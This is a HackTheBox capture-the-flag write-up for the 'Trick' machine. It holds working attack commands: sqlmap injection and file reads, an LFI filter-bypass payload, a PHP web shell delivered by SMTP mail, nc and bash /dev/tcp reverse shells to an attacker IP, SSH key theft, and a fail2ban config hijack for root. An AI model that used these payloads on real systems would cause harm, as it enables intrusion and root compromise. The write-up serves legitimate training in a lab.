Trick - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Trick is an Easy Linux machine centered around DNS enumeration and multiple vHost exploitation. The attack chain begins with DNS zone transfer to discover the preprod-payroll.trick.htb subdomain, which hosts a vulnerable Payroll Management System susceptible to SQL injection. By leveraging SQLmap with FILE privileges, we extract the Nginx configuration to discover a second vHost (preprod-marketing.trick.htb) vulnerable to Local File Inclusion with a filter bypass. Initial foothold is achieved by combining SMTP to inject PHP code into the mail system and LFI to execute it. Privilege escalation exploits a misconfigured fail2ban directory where the current user’s group has write permissions, allowing us to replace a configuration file and execute arbitrary code as root when fail2ban restarts.

TL;DR: DNS zone transfer → SQL injection (FILE read) → discover LFI vHost → mail injection + LFI RCE → fail2ban config hijack → root shell

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.11.166

Results:

• Port 22 - SSH (OpenSSH)
• Port 25 - SMTP (Postfix)
• Port 53 - DNS (ISC BIND)
• Port 80 - HTTP (Nginx)

Service Enumeration

DNS Enumeration

Reverse DNS lookup to discover the domain associated with the target IP:

# Perform reverse DNS lookup
dig @10.10.11.166 -x 10.10.11.166

This reveals the domain trick.htb. Add it to the hosts file:

echo '10.10.11.166     trick.htb' | sudo tee -a /etc/hosts

Attempt a zone transfer to discover subdomains:

# DNS zone transfer request
dig @10.10.11.166 axfr trick.htb

This reveals the subdomain preprod-payroll.trick.htb. Add it to hosts:

echo '10.10.11.166     preprod-payroll.trick.htb' | sudo tee -a /etc/hosts

Web Service Enumeration

Visiting http://trick.htb shows a “coming soon” page. However, http://preprod-payroll.trick.htb reveals an Employee’s Payroll Management System login panel.

Vulnerability Assessment

1. SQL Injection - The Payroll Management System login is vulnerable to SQL injection in the username parameter
2. FILE Privilege in Database - The database user has FILE read privileges, allowing system file access
3. Local File Inclusion (LFI) - The marketing vHost uses unsanitized page parameter with a filter bypass vulnerability
4. SMTP Open Relay - SMTP server allows unauthenticated mail injection
5. fail2ban Misconfiguration - The fail2ban action.d directory has insecure group permissions

Initial Foothold

Exploitation Path

Step 1: SQL Injection to Extract Nginx Configuration

First, confirm SQL injection vulnerability using sqlmap:

# Test for SQL injection vulnerability
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \
  --data="username=abc&password=abc" \
  -p username \
  --level 5 \
  --risk 3 \
  --technique=BEUS \
  --batch

The application is vulnerable to Boolean-based, Error-based, Union-based, and Stacked query injection.

Verify file read privileges:

# Check database user privileges
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \
  --data="username=abc&password=abc" \
  -p username \
  --privileges

Extract the Nginx configuration file containing other vHosts:

# Read Nginx configuration
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login \
  --data="username=abc&password=abc" \
  -p username \
  --batch \
  --file-read=/etc/nginx/sites-enabled/default

The configuration reveals preprod-marketing.trick.htb. Add it to hosts:

echo '10.10.11.166     preprod-marketing.trick.htb' | sudo tee -a /etc/hosts

Step 2: Discover LFI Vulnerability with Filter Bypass

Visiting http://preprod-marketing.trick.htb/index.php?page=services.html shows dynamic page inclusion. Testing for directory traversal:

http://preprod-marketing.trick.htb/index.php?page=../about.html

The ../ is filtered. However, using ....// bypasses the filter (removal of ../ leaves another ../):

# Successfully read /etc/passwd via LFI filter bypass
# URL: http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

Step 3: SMTP Mail Injection for PHP Code Execution

Connect to the SMTP server and inject PHP code into michael’s mailbox:

# Connect to SMTP and send malicious mail
nc trick.htb 25

Send the following commands:

helo x
mail from: <attacker@trick.htb>
rcpt to: <michael@trick.htb>
data
<?php system($_GET['cmd']); ?>
.
quit

Step 4: Execute PHP Code via LFI

Now use the LFI to include the mail file and execute a reverse shell:

# Start listener on attacker machine
nc -lvnp 1337

# Execute reverse shell via LFI + injected mail
# URL: http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.14.29%201337%20-e%20/bin/sh

This triggers the reverse shell callback to the listener. Upon connection, find Michael’s SSH key:

# From reverse shell
cat ~/.ssh/id_rsa

Copy the SSH key locally and connect:

# Set proper permissions and connect via SSH
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb

Privilege Escalation

Exploitation Path

Step 1: Identify Sudo Privileges

Check available sudo commands:

sudo -l

Output shows we can restart fail2ban without a password:

(root) NOPASSWD: /etc/init.d/fail2ban restart

Step 2: Examine fail2ban Directory Permissions

Investigate the fail2ban configuration directory:

# Navigate to fail2ban config
cd /etc/fail2ban
ls -la

The action.d directory is owned by the security group with rwxrwx--- permissions, and we are a member of this group:

ls -l action.d/

Step 3: Replace fail2ban Configuration

The file iptables-multiport.conf contains the actionban command executed when a user is banned. Move and copy it to gain ownership:

# Copy the file to gain group ownership/write access
cd /etc/fail2ban/action.d
mv iptables-multiport.conf iptables-multiport.conf.old
cp iptables-multiport.conf.old iptables-multiport.conf
ls -l iptables-multiport.conf

Edit the configuration file and modify the actionban line:

# Edit the file (use nano, vi, etc.)
nano iptables-multiport.conf

# Change the actionban variable to:
# actionban = /tmp/shell.sh

Step 4: Create Reverse Shell Script

Create the malicious script that will execute as root:

# Create reverse shell script
cat > /tmp/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.29/1337 0>&1
EOF

# Make it executable
chmod +x /tmp/shell.sh

Step 5: Trigger fail2ban and Gain Root Shell

Start a listener on the attacker machine:

# Listener for root reverse shell
nc -lvnp 1337

Restart fail2ban with sudo:

# Restart fail2ban service
sudo /etc/init.d/fail2ban restart

Trigger the ban by attempting incorrect SSH logins:

# Trigger fail2ban ban (hit enter multiple times after incorrect login attempts)
ssh michael@trick.htb

After a few seconds, the reverse shell connects as root.

Attack Chain Summary

DNS Zone Transfer (trick.htb)
  ↓
Discover preprod-payroll.trick.htb
  ↓
SQL Injection + FILE Privilege (sqlmap)
  ↓
Extract Nginx Config → preprod-marketing.trick.htb
  ↓
LFI with Filter Bypass (....// payload)
  ↓
SMTP Mail Injection (PHP code to /var/mail/michael)
  ↓
Execute PHP via LFI Include
  ↓
Reverse Shell as michael
  ↓
Extract SSH Key
  ↓
SSH Access
  ↓
Identify Sudo: fail2ban restart (NOPASSWD)
  ↓
fail2ban action.d Directory Writable (group security)
  ↓
Replace iptables-multiport.conf
  ↓
Trigger Ban (SSH brute force)
  ↓
Root Reverse Shell

Tools Used

Key Learnings

Techniques Practiced

• DNS enumeration and zone transfer attacks
• SQL injection exploitation with file read privileges
• Local File Inclusion (LFI) with filter bypass techniques
• SMTP protocol abuse for arbitrary file injection
• PHP code execution through dynamic file inclusion
• Privilege escalation via misconfigured file permissions
• Service configuration hijacking for RCE as root

Lessons Learned

1. DNS Zone Transfers - Always attempt zone transfers on discovered DNS servers; they can reveal internal infrastructure and vHosts
2. SQL Injection Severity - FILE privileges in database users can escalate SQL injection from data theft to arbitrary file read, exposing configuration files
3. Filter Bypass Techniques - Simple input filtering (e.g., removing ../) can be bypassed with encoded or doubled payloads like ....//
4. SMTP as Attack Vector - Open SMTP relays can be leveraged to inject files into system directories when combined with file inclusion vulnerabilities
5. File Permission Audits - Group writable directories with user membership can be exploited for privilege escalation, especially in system service directories
6. Service Restart Chains - Combining NOPASSWD sudo with writable configuration files allows privilege escalation without authentication

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>